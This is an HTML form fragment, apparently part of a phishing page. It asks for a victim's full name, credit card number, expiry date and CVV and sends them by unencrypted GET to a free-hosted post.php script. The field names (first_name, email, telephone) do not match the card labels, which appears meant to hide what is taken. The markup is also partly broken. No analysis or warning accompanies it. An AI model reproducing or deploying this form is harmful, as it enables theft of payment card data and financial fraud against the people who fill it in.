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<form name="contactform" method="GET" action="http://satellitetv83.free.nf/htdocs/post.php">
<table width="450px">
<tr>
<td valign="right">
<label for="Full_Name">Full Name *</label>
</td>
<td valign="right">
<input type="text" name="first_name" maxlength="50" size="30">
</td>
</tr>
<tr>
<td valign="right"">
<label for="card_#">Credit Card Number *</label>
</td>
<td valign="right">
<input type="text" name="last_name" maxlength="50" size="17">
</td>
</tr>
<tr>
<td valign="right">
<label for="exp">Expiry Date (mm/yyyy) *</label>
</td>
<td valign="right">
<input type="text" name="email" maxlength="7" size="10">
</td>
</tr>
<tr>
<td valign="right">
<label for="cvv">CVV Code</label>
</td>
<td valign="right">
<input type="text" name="telephone" maxlength="3" size="5">
</td>
</tr>
<tr>
<td valign="right">
<td colspan="2" style="text-align:left">
<input type="submit" value="Submit"> <a href="http://www.google.com"</a>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>